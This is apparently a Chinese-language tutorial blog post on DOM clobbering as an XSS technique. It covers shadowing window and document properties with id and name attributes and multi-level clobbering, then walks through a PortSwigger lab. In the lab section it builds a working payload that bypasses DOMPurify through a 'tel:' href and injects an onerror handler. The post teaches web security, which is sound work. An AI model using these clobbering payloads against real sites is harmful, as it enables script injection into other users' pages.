探索XSS安全DAY(三)-DOM-COLBBERING
DOM与Window的关系
当你在HTML设定了一个带有id的元素之后,你可以用window来得到他
<html>
<head></head>
<body>
<button id=Test>click me!</button>
<script>
console.log(window.Test)
</script>
</body>
</html>所以,比如说我要让他弹窗,正常来讲我们可以加一个EventListener,然后触发,像这样子
<script>
document.getElementById("Test")
.addEventListener('click',()=>{
alert(1)
})
</script>但是现在我们可以用一个最短的方式
Test.onclick=()=>alert(1)除了id可以这么用,其实还有另外一些标签也可以,可以看到spec
html spec
所以除了id,还有img,form,embed和object可以这么去用。
<embed name="a"></embed>
<form name="b"></form>
<img name="c" />
<object name="d"></object>
所以,就是我们可以通过HTML去影响JS
DOM clobbering
这里举一个攻击场景
<!DOCTYPE html>
<html>
<body>
<h1>留言板</h1>
<div>
你的留言:Hello DOM clobbering
</div>
<script>
if (window.TEST_MODE) {
// load test script
var script = document.createElement('script')
script.src = window.TEST_SCRIPT_SRC
document.body.appendChild(script)
}
</script>
</body>
</html>这里假设所有的xss代码都不起作用,只能更改html的情况下,如何才能攻击呢? 我们前面提到我们可以通过id等信息去直接拿到window,所以我们只需要更改html对下面的值进行覆盖即可。 比如说这样子
<div>
你的留言:<div id= "TEST_MODE"></div>
<a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>
</div> 应该都看得懂,他就会把script的src读进来,那么比如我在本地写一个js,让他弹窗,我们可以试试
但是这里要注意一点,就是比如我要用console去把这个div的id拼接一个''可以看到他的输出就变为了:
看到输出的竟然不是字符串而是HTMLDivElement,原因是因为他并没有tostring的方法可以返回字符串,而我们可以查阅一下
看到只有a和href标签会有这个tostring,所以我们可以总结一下dom clobbering的使用场景是在:
- HTML可控并且JS中有利用到window之类的东西
-
- 用
<a>搭配href 以及id 让元素toString之后变成我们想要的值
- 用
多层级 DOM clobbering
上面的例子是我们覆盖了单层的dom,那么是否可以覆盖多层的呢?
这里的意思就我们可不可以这样子window.config.Test来覆盖Test呢
答案是可以的,我们这里用到了form标签即可
<form id="config">
<input name = "IsTest" />
<button id="IsTest2">click me!</button>
</form>
<script>
console.log(window.config.IsTest)
console.log(window.config.IsTest2)
</script>但是注意这里是没有a标签可以用的,所以如果tostring的话,就没办法利用了,所以得搭配点东西利用,这个后面会说
除了利用HTML 本身的层级以外,还可以利用另外一个特性:HTMLCollection。
我们可以尝试这样子写(Firefox中只会输出第一个,所以我们用Chrome来看)
<a id="config">aaaa</a>
<a id ="config"></a>
<script>
console.log(window.config)
</script>
那有了HTMLCollection之后可以做什么呢?在4.2.10.2. Interface HTMLCollection中有写到,可以利用name 或是id 去拿HTMLCollection里面的元素。
就像这样子,也可以和前面的造成一个结果,但是在firefox下是没办法这样子用的,要注意一下,
然后这里只有两层,如果要三层的话可以用form
<!DOCTYPE html>
<html>
<body>
<form id="config"></form>
<form id="config" name="prod">
<input name="apiUrl" value="123" />
</form>
<script>
console.log(config.prod.apiUrl.value) //123
</script>
</body>
</html>如果你需要もっともっと层级,这个时候就可以用到万能iframe了
<!DOCTYPE html>
<html>
<body>
<iframe name="config" srcdoc='
<a id="apiUrl"></a>
'></iframe>
<script>
setTimeout(() => {
console.log(config.apiUrl) // <a id="apiUrl"></a>
}, 500)
</script>
</body>
</html>这里记得要加上一个setTimeout因为iframe加载需要时间 如果你需要更多层级的话,可以使用这个好用的工具:DOM Clobber3r
利用Document攻击
直接上例子吧
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
</head>
<body>
<img name=cookie>
<form id=test>
<input name=lastElementChild>
<div>I am last child</div>
</form>
<embed name=getElementById></embed>
<script>
console.log(document.cookie) // <img name="cookie">
console.log(document.querySelector('#test').lastElementChild) // <input name=lastElementChild>
console.log(document.getElementById) // <embed name=getElementById></embed>
</script>
</body>
</html>我们利用了HTML 元素影响到了document,原本document.cookie应该是要显示cookie 的,现在却变成了<img name=cookie>这个元素,而lastElementChild原本应该要回传的是最后一个元素,却因为form 底下的name 会优先,因此抓到了同名的元素。
最后的document.getElementById也可以被DOM 覆盖,如此一来呼叫document.getElementById()时就会出错,可以让整个页面crash。
ok那么我们现在可以打两个lab试试
PortSwigger1
我们进来可以看到这里有一个留言区,可以用html的格式
比如我们留一个h1的标签
可以看到是可以的,那么现在我们需要得到flag,如何利用dom clobbering呢?我们可以在源代码处看见
function loadComments(postCommentPath) {
let xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
let comments = JSON.parse(this.responseText);
displayComments(comments);
}
};
xhr.open("GET", postCommentPath + window.location.search);
xhr.send();
function escapeHTML(data) {
return data.replace(/[<>'"]/g, function(c){
return '&#' + c.charCodeAt(0) + ';';
})
}
function displayComments(comments) {
let userComments = document.getElementById("user-comments");
for (let i = 0; i < comments.length; ++i)
{
comment = comments[i];
let commentSection = document.createElement("section");
commentSection.setAttribute("class", "comment");
let firstPElement = document.createElement("p");
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
let divImgContainer = document.createElement("div");
divImgContainer.innerHTML = avatarImgHTML
if (comment.author) {
if (comment.website) {
let websiteElement = document.createElement("a");
websiteElement.setAttribute("id", "author");
websiteElement.setAttribute("href", comment.website);
firstPElement.appendChild(websiteElement)
}
let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
firstPElement.innerHTML = newInnerHtml
}
if (comment.date) {
let dateObj = new Date(comment.date)
let month = '' + (dateObj.getMonth() + 1);
let day = '' + dateObj.getDate();
let year = dateObj.getFullYear();
if (month.length < 2)
month = '0' + month;
if (day.length < 2)
day = '0' + day;
dateStr = [day, month, year].join('-');
let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
firstPElement.innerHTML = newInnerHtml
}
firstPElement.appendChild(divImgContainer);
commentSection.appendChild(firstPElement);
if (comment.body) {
let commentBodyPElement = document.createElement("p");
commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);
commentSection.appendChild(commentBodyPElement);
}
commentSection.appendChild(document.createElement("p"));
userComments.appendChild(commentSection);
}
}
};我们先看到escapeHTML函数,这里他对尖括号以及引号做了转义,用了实体编码,也就是他这里自己写了一个dompurify的东西。当然他也加入了这个
所以显而易见,我们是没办法写xss的东西进去的,但是看到这里
这里利用了window.defaultAvatar,作为默认的avatar的值
并且拼接到了img标签内,最后放到了avatarImgHTML之中,然后innerHTML写入到了对应的div标签里面,所以我们着重看
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';然后他取的就是defaultAvatar.avatar下的值,所以这里就是一个两层的一个dom clobbering,所以我们可以构造
<a id=defaultAvatar>
<a id=defaultAvatar name="avatar"href=...>这样子就可以拿到href的值,然后我们闭合前面的,然后注释掉后面的即可
href='"onerror=alert(1)//
事实上…并没有触发
找一下哪里出了问题
似乎被dompurify拦了,可以看到最前面被转义成了%22,所以没办法触发这个xss,要利用一些办法把他给跳出来,重新看一遍源码,可以看到dompurify其实是有做白名单的
说不定我们可以利用这个,先试试tel放进去是什么效果
诶!!发现他确实可以写东西进去,并且双引号也理所应答加了进去,那么这个时候,是不是就可以闭合然后用onerror来触发了呢?
<a id=defaultAvatar>
<a id=defaultAvatar name= avatar href='tel:"onerror=alert(111)'>
但是后面会有双引号把alert当做字符串使用了,那么我们只需要注释掉他即可。
最终exp
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href='tel:"onerror=alert(1)//'>